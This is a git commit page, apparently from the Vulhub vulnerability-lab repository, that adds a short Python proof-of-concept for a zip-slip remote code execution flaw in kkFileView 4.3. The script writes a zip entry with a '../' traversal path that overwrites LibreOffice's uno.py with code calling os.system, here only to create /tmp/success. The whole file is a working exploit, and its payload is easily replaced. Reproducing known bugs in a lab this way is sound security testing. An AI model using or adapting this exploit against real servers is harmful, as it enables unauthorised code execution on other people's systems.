first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
13
kkfileview/4.3-zipslip-rce/poc.py
Normal file
13
kkfileview/4.3-zipslip-rce/poc.py
Normal file
@@ -0,0 +1,13 @@
|
||||
import zipfile
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
binary1 = b'vulhub'
|
||||
binary2 = b"import os\nos.system('touch /tmp/success')\n"
|
||||
zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED)
|
||||
# info = zipfile.ZipInfo("test.zip")
|
||||
zipFile.writestr("test", binary1)
|
||||
zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)
|
||||
zipFile.close()
|
||||
except IOError as e:
|
||||
raise e
|
Reference in New Issue
Block a user